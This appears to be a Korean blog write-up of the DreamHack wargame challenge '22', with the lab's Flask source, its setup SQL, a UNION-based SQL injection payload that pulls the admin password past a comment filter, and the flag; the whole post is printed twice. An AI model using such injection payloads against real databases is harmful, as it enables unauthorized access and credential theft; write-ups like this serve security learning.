[DreamHack] 22 풀이

코딩 파인애플·2026년 8월 12일

CHALLENGE SOLVING

목록 보기
6/10
post-thumbnail

안녕하십니까 코딩 파인애플입니다
이번에는 22에 관해 풀어보겠습니다.

22 2️⃣2️⃣

https://dreamhack.io/wargame/challenges/2680

정말 오랜만인 SQL INJECTION 입니다

app.py

import os
import re
from flask import Flask, request, session, redirect, url_for, render_template
import mysql.connector

app = Flask(__name__)
app.secret_key = os.getenv("FLASK_SECRET", "**REDACTED**")

COMMENT_RE = re.compile(r"(--|#|/\*|\*/)", re.IGNORECASE)

def reject_sql_comments(s: str) -> bool:
    return bool(COMMENT_RE.search(s or ""))

def get_conn():
    return mysql.connector.connect(
        host=os.getenv("DB_HOST", "127.0.0.1"),
        port=int(os.getenv("DB_PORT", "3306")),
        user=os.getenv("DB_USER", "user"),
        password=os.getenv("DB_PASS", "pass"),
        database=os.getenv("DB_NAME", "db"),
        autocommit=True,
    )

@app.get("/")
def index():
    return render_template("index.html", user=session.get("user"))

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        if session.get("user"):
            return redirect(url_for("index"))
        return render_template("login.html", error=None)

    username = request.form.get("username", "")
    password = request.form.get("password", "")

    sql = "SELECT id, username FROM users WHERE username = %s AND password = %s LIMIT 1;"
    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    cur.execute(sql, (username, password))
    row = cur.fetchone()
    cur.close()
    conn.close()

    if row:
        session["user"] = row["username"]
        return redirect(url_for("index"))

    return render_template("login.html", error="Invalid username/password"), 401


@app.get("/logout")
def logout():
    session.clear()
    return redirect(url_for("index"))

@app.get("/search")
def search():
    q = request.args.get("q", "")

    if q == "":
        return render_template("search.html", q=q, q2=None, rows=[], error=None)

    q2 = q + q

    if reject_sql_comments(q):
        return render_template("search.html", q=q, q2=q2, rows=[], error="Comment tokens are not allowed."), 200

    sql = f"SELECT id, username FROM users WHERE username='{q2}' ORDER BY id ASC;"

    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    try:
        cur.execute(sql)
        rows = cur.fetchall()
        return render_template("search.html", q=q, q2=q2, rows=rows, error=None)
    except mysql.connector.Error:
        return render_template("search.html", q=q, q2=q2, rows=[], error="DB error occurred."), 200
    finally:
        cur.close()
        conn.close()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=False)

init

CREATE DATABASE IF NOT EXISTS db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE db;

DROP TABLE IF EXISTS users;

CREATE TABLE users (
  id INT AUTO_INCREMENT PRIMARY KEY,
  username VARCHAR(64) NOT NULL UNIQUE,
  password VARCHAR(255) NOT NULL
);

#userse 테이블의 username 과 password, 그리고 뭐...잡다한 것들. 
INSERT INTO users (username, password) VALUES
('alicealice', 'alicepw'),
('bobbob', 'bobpw'),
('guestguest', 'guestpw'),
('adminadmin', 'DH{FAKE_FLAG}');

핵심 코드 두 개가 주어집니다

뭐, 일단은 adminadmin으로 로그인하는 게 목표인 것 같습니다

일반 회원은 (alicealice, alipw), (bobbob,bobpw), (guestguest, guestpw) 가 있는 것 또한 알 수 있습니다

뭐, 직접 일반 계정으로 로그인했는데 죄다 평범했습니다 (...)

아무튼, 코드를 분석해서 취약점을 찾아봅시다

@app.get("/search")
def search():
    q = request.args.get("q", "")

    if q == "":
        return render_template("search.html", q=q, q2=None, rows=[], error=None)

    q2 = q + q
#    ㄴ코드 콩진호의 원인
    if reject_sql_comments(q):
        return render_template("search.html", q=q, q2=q2, rows=[], error="Comment tokens are not allowed."), 200

    sql = f"SELECT id, username FROM users WHERE username='{q2}' ORDER BY id ASC;"
#   														ㄴ여기서 ㄱㄱ
    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    try:
        cur.execute(sql)
        rows = cur.fetchall()
        return render_template("search.html", q=q, q2=q2, rows=rows, error=None)
    except mysql.connector.Error:
        return render_template("search.html", q=q, q2=q2, rows=[], error="DB error occurred."), 200
    finally:
        cur.close()
        conn.close()

위 코드에서 /search가 사용자가 입력한 문자열을 쿼리에 넣어서 실행 결과를 보여줍니다

헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다

그렇다면 어떻게 해야하냐, union문을 이어붙어 공격이 가능한 페이로드를 짜야합니다

asdf' union select username,password from users where username='adminadmin' union select 1,'

이렇게 다음과 같은 페이로드를 짜면 union구문의 연계로 인해 코드가 정상 작동이 됩니다


아마 실질적으로 실행되는 구문은 다음과 같을 겁니다
SELECT id, username FROM users WHERE username='   asdf' union select username,password from users where username='adminadmin' union select 1,'asdf' union select username,password from users where username='adminadmin' union select 1,'    ' ORDER BY id ASC; # 기묘하다



flag : DH{Here_Is_FLAG!_Here_Is_FLAG!}

평가 : sql injection 풀이하기 '재밌는' 문제






안녕하십니까 코딩 파인애플입니다
이번에는 22에 관해 풀어보겠습니다.

22 2️⃣2️⃣

https://dreamhack.io/wargame/challenges/2680

정말 오랜만인 SQL INJECTION 입니다

app.py

import os
import re
from flask import Flask, request, session, redirect, url_for, render_template
import mysql.connector

app = Flask(__name__)
app.secret_key = os.getenv("FLASK_SECRET", "**REDACTED**")

COMMENT_RE = re.compile(r"(--|#|/\*|\*/)", re.IGNORECASE)

def reject_sql_comments(s: str) -> bool:
    return bool(COMMENT_RE.search(s or ""))

def get_conn():
    return mysql.connector.connect(
        host=os.getenv("DB_HOST", "127.0.0.1"),
        port=int(os.getenv("DB_PORT", "3306")),
        user=os.getenv("DB_USER", "user"),
        password=os.getenv("DB_PASS", "pass"),
        database=os.getenv("DB_NAME", "db"),
        autocommit=True,
    )

@app.get("/")
def index():
    return render_template("index.html", user=session.get("user"))

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        if session.get("user"):
            return redirect(url_for("index"))
        return render_template("login.html", error=None)

    username = request.form.get("username", "")
    password = request.form.get("password", "")

    sql = "SELECT id, username FROM users WHERE username = %s AND password = %s LIMIT 1;"
    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    cur.execute(sql, (username, password))
    row = cur.fetchone()
    cur.close()
    conn.close()

    if row:
        session["user"] = row["username"]
        return redirect(url_for("index"))

    return render_template("login.html", error="Invalid username/password"), 401


@app.get("/logout")
def logout():
    session.clear()
    return redirect(url_for("index"))

@app.get("/search")
def search():
    q = request.args.get("q", "")

    if q == "":
        return render_template("search.html", q=q, q2=None, rows=[], error=None)

    q2 = q + q

    if reject_sql_comments(q):
        return render_template("search.html", q=q, q2=q2, rows=[], error="Comment tokens are not allowed."), 200

    sql = f"SELECT id, username FROM users WHERE username='{q2}' ORDER BY id ASC;"

    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    try:
        cur.execute(sql)
        rows = cur.fetchall()
        return render_template("search.html", q=q, q2=q2, rows=rows, error=None)
    except mysql.connector.Error:
        return render_template("search.html", q=q, q2=q2, rows=[], error="DB error occurred."), 200
    finally:
        cur.close()
        conn.close()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=False)

init

CREATE DATABASE IF NOT EXISTS db CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE db;

DROP TABLE IF EXISTS users;

CREATE TABLE users (
  id INT AUTO_INCREMENT PRIMARY KEY,
  username VARCHAR(64) NOT NULL UNIQUE,
  password VARCHAR(255) NOT NULL
);

#userse 테이블의 username 과 password, 그리고 뭐...잡다한 것들. 
INSERT INTO users (username, password) VALUES
('alicealice', 'alicepw'),
('bobbob', 'bobpw'),
('guestguest', 'guestpw'),
('adminadmin', 'DH{FAKE_FLAG}');

핵심 코드 두 개가 주어집니다

뭐, 일단은 adminadmin으로 로그인하는 게 목표인 것 같습니다

일반 회원은 (alicealice, alipw), (bobbob,bobpw), (guestguest, guestpw) 가 있는 것 또한 알 수 있습니다

뭐, 직접 일반 계정으로 로그인했는데 죄다 평범했습니다 (...)

아무튼, 코드를 분석해서 취약점을 찾아봅시다

@app.get("/search")
def search():
    q = request.args.get("q", "")

    if q == "":
        return render_template("search.html", q=q, q2=None, rows=[], error=None)

    q2 = q + q
#    ㄴ코드 콩진호의 원인
    if reject_sql_comments(q):
        return render_template("search.html", q=q, q2=q2, rows=[], error="Comment tokens are not allowed."), 200

    sql = f"SELECT id, username FROM users WHERE username='{q2}' ORDER BY id ASC;"
#   														ㄴ여기서 ㄱㄱ
    conn = get_conn()
    cur = conn.cursor(dictionary=True)
    try:
        cur.execute(sql)
        rows = cur.fetchall()
        return render_template("search.html", q=q, q2=q2, rows=rows, error=None)
    except mysql.connector.Error:
        return render_template("search.html", q=q, q2=q2, rows=[], error="DB error occurred."), 200
    finally:
        cur.close()
        conn.close()

위 코드에서 /search가 사용자가 입력한 문자열을 쿼리에 넣어서 실행 결과를 보여줍니다

헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다헌데 보여주는 결과물이 항상 복제되어, 주석 기능을 이용할 수 없습니다

그렇다면 어떻게 해야하냐, union문을 이어붙어 공격이 가능한 페이로드를 짜야합니다

asdf' union select username,password from users where username='adminadmin' union select 1,'

이렇게 다음과 같은 페이로드를 짜면 union구문의 연계로 인해 코드가 정상 작동이 됩니다


아마 실질적으로 실행되는 구문은 다음과 같을 겁니다
SELECT id, username FROM users WHERE username='   asdf' union select username,password from users where username='adminadmin' union select 1,'asdf' union select username,password from users where username='adminadmin' union select 1,'    ' ORDER BY id ASC; # 기묘하다



flag : DH{Here_Is_FLAG!_Here_Is_FLAG!}

평가 : sql injection 풀이하기 '재밌는' 문제






profile
안녕하떼요취미로콤푸타배우는고든학교6학년유치원생이빈다주말재외하고(러블럭스해야대요💢💢)주중연재하고안한날애눈이월(February)됨니다(안할수도있음)

0개의 댓글